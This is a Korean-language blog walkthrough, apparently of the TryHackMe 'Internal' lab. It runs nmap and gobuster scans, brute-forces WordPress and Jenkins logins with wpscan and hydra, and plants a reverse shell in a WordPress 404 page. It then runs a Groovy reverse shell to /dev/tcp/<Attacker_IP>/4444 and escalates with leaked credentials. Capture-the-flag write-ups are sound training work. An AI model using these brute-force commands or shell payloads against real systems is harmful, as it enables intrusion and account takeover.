안녕하세요 이번에 풀 머신은 Internal입니다.
┌──(root㉿kali)-[~/hack/LAB/Relevant/Internal]
└─# nmap --open -p- --max-retries 1 --min-rate 4000 -Pn 10.10.20.152
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 15:03 KST
Nmap scan report for 10.10.20.152
Host is up (0.27s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
전체 포트는 22번과 80번 포트 두개가 열려있네요
22번에 대한 버전정보를 확인하고 80번 웹사이트에 접속을 해보며
웹 디렉토리 스캐닝을 해봐야 할 것 같습니다.
SSH 버전을 확인해보니 7.6으로 username enumeration 공격은 가능했지만
마땅히 찾아낸 계정 정보는 없었습니다.
디렉토리 스캐닝 결과는 웹 서버에서 워드프레스를 쓰는지 워드프레스 관련 경로가 나왔습니다.
┌──(root㉿kali)-[~/hack/LAB/Relevant/Internal]
└─# gobuster dir -k -w /usr/share/dirb/wordlists/common.txt -u http://$ip
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.20.152
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/blog (Status: 301) [Size: 311] [--> http://10.10.20.152/blog/]
/index.html (Status: 200) [Size: 10918]
/javascript (Status: 301) [Size: 317] [--> http://10.10.20.152/javascript/]
/phpmyadmin (Status: 301) [Size: 317] [--> http://10.10.20.152/phpmyadmin/]
/server-status (Status: 403) [Size: 277]
/wordpress (Status: 301) [Size: 316] [--> http://10.10.20.152/wordpress/]
워드프레스에서는 wp-admin 혹은 wp-login에서 관리자 콘솔로 로그인이 가능한 경로가 존재합니다.
호스트 역시 워드프레스 관리자 로그인 창이 현재 노출되고 있는 상태인데
워드프레스는 username enumeration 공격이 가능합니다.
즉 아이디가 존재하지 않을 때와, 아이디는 존재하는데 패스워드가 일치하지 않을 때
각각 출력하는 키워드가 다르기 때문에 이것을 기반으로 브루트포스 공격이 가능합니다.
보통 워드프레스를 비롯하여 많은 브루트포스 공격은 Hydra 툴을 사용하는데
이번에는 특별하게 wp-scan이라는 도구를 사용해야 합니다.
일단 원인을 자세하게 알지는 못하지만 제 추측컨데
이번 머신은 /etc/hosts 파일에 해당 머신의 IP를 추가해주는 작업이 필요합니다.
wp-admin에 접속하면 /blog 경로로 리디렉션이 되는데 이 과정에서
hydra 툴이 제대로 동작하지 않는 것 같습니다.
┌──(root㉿kali)-[~/hack/LAB/Relevant/Internal]
└─# wpscan --url http://internal.thm/wordpress -U admin -P /usr/share/wordlists/rockyou.txt
사용자 계정을 admin을 입력했을 때 존재하는 계정인 것이 확인되어
admin 계정에 대한 패스워드 브루트포스를 합니다.
[+] Performing password attack on Xmlrpc against 1 user/s
dTrying admin / freaky Time: 00:03:22 < > (1740 / 14344392) 0.01% ETA: ??:??:T[SUCCESS] - admin / my2boys
Trying admin / lizzy Time: 00:07:30 < > (3885 / 14348277) 0.02% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: admin, Password: my2boys
wpscan 결과 패스워드가 my2boys라는 것을 확인했고 로그인에 성공했습니다.
워드프레스에서는 쉘을 획득하는 방법으로 몇가지가 있는데,
첫번째는 플러그인을 삽입하여 해당 플러그인 활성화를 통한 쉘 획득이고
두번째로는 404 페이지에 리버스쉘을 삽입하고 해당 페이지로 접속함에 따라 쉘을 획득하는 것입니다.
해당 머신에서는 플러그인을 업로드 하려고 하면 업로드 하는 경로에 쓰기 권한이 존재하지 않아서
업로드에 실패합니다.
그래서 저는 404 페이지에 리버스쉘 코드를 삽입하여 해당 페이지에 방문 시
리버스쉘이 연결되도록 하겠습니다.
https://www.hackercoolmagazine.com/wordpress-reverse-shelling-multiple-methods/
리버스쉘 코드를 삽입한 뒤 해당 404 페이지로 접속하면 위처럼 리버스쉘이 연결됩니다.
접속한 이후 플래그를 찾기 위해 유저 디렉토리로 접속하려 했지만
현재 유저가 아니라면 접속 권한 자체가 없는것을 확인했습니다.
$ cd /home
$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Aug 3 2020 .
drwxr-xr-x 24 root root 4096 Aug 3 2020 ..
drwx------ 7 aubreanna aubreanna 4096 Aug 3 2020 aubreanna
권한 상승을 하기 위해서 다양한 방법을 사용하다가
aubreanna 라는 사용자 이름을 grep으로 찾아보면 어떨까 싶어 grep으로 전체 파일을 찾았는데
/opt 경로 하위에서 해당 사용자의 패스워드가 하드코딩 된 것을 발견했습니다.
www-data@internal:/etc$ grep -r 'aubreanna' / 2>/dev/null
/opt/wp-save.txt:aubreanna:bubb13guM!@#123
www-data@internal:/etc$ su aubreanna
Password:
aubreanna@internal:/etc$ whoami
aubreanna
aubreanna@internal:/etc$ cd /home/aubreanna/
aubreanna@internal:~$ ls
jenkins.txt snap user.txt
aubreanna@internal:~$ cat user.txt
THM{int3rna1_fl4g_1}
권한 상승에 성공한 이후 유저 플래그를 획득했습니다.
그 이후 jenkins.txt라는 파일을 읽어봤는데 8080 포트에서 젠킨스가 돌아간다고 나옵니다.
aubreanna@internal:~$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080
현재 머신과 다른 IP 대역을 사용하고 있는데, 이럴 경우 직접적으로 접근이 불가능하니
로컬 포트포워딩을 사용하여 접근해야 합니다.
┌──(root㉿kali)-[~/hack/LAB/Relevant/Internal]
└─# ssh -L 9999:localhost:8080 aubreanna@10.10.58.8
위와 같은 방식으로 현재 호스트의 9999번 포트와 로컬호스트의 8080포트를 포워딩하여
로컬호스트의 9999로 접속하면 서버의 8080포트로 접속이 되게끔 설정할 수 있습니다.
여기서 원래 로컬호스트의 포트도 8080으로 설정하여 각 8080 포트끼리 연결되도록 했는데
이렇게 할 경우 hydra 도구가 제대로 동작하지 않는 버그를 발견했습니다.
그래서 9999로 설정해줍니다.
이제 Jenkins의 패스워드를 알아내야 하는데, 아쉽게도 aubreanna 계정으로는 접속이 안 됐습니다.
아무래도 admin 계정의 패스워드를 알아내야 하는 것 같은데
원래 jenkins에서는 계정 패스워드 초기 설정이 /var/lib/jenkins 디렉토리 하위에 생성되지만
현재는 그 디렉토리가 없습니다.
브루트포스를 통해서 알아내라는 것 같네요
hydra를 사용해서 패스워드 크래킹을 시도합니다.
┌──(root㉿kali)-[~/hack/LAB/Relevant/Internal]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 9999 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=Sign+in:Invalid" -vV -f
[ATTEMPT] target localhost - login "admin" - pass "beautiful" - 108 of 14344399 [child 4] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "mylove" - 109 of 14344399 [child 15] (0/0)
[9999][http-post-form] host: localhost login: admin password: spongebob
[STATUS] attack finished for localhost (valid pair found)
브루트포스 결과 spongebob라는 패스워드를 사용하는 것이 확인되었네요
jenkins의 Script Console 항목에서 리버스쉘을 연결하겠습니다.
서버 환경은 Linux인데, Windows와 치트시트가 다르기 때문에 아래의 코드를 입력해줍니다.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/<Attacker_IP>/4444; cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
그리고 쉘이 연결된 이후에 혹시나 해서 /opt 경로로 다시 이동해보면
이번엔 note.txt라는 파일이 존재하고 여기에는 aubreanna 에게 쓴 노트가 담겨있으며
루트 패스워드가 존재합니다.
┌──(root㉿kali)-[~/hack/LAB/Relevant/Internal]
└─# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.17.12.5] from (UNKNOWN) [10.10.58.8] 47696
python3 --version
/bin/bash: python3: command not found
cd /opt
ls
note.txt
cat no
cat: no: No such file or directory
cat note.txt
Aubreanna,
Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you
need access to the root user account.
root:tr0ub13guM!@#123
그래서 이 패스워드를 가지고 루트 계정으로 접속한 뒤 루트 플래그를 획득합니다.
┌──(root㉿kali)-[~/hack/LAB/Relevant/Internal]
└─# ssh root@10.10.58.8
root@10.10.58.8's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
0 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Aug 3 19:59:17 2020 from 10.6.2.56
root@internal:~# cd /root
root@internal:~# ls
root.txt snap
root@internal:~# cat root.txt
THM{d0ck3r_d3str0y3r}
개인적으로 정말 재밌게 풀어봤던 머신인것 같습니다.
이상으로 Internal에 대한 모의침투를 마칩니다.
[TryHackMe] Relevant (1) | 2024.09.27 |
---|---|
[TryHackMe] Daily Bugle (2) | 2024.09.26 |
[TryHackMe] Skynet (2) | 2024.09.26 |
[TryHackMe] Game Zone (1) | 2024.09.25 |
[TryHackMe] HackPark (0) | 2024.09.25 |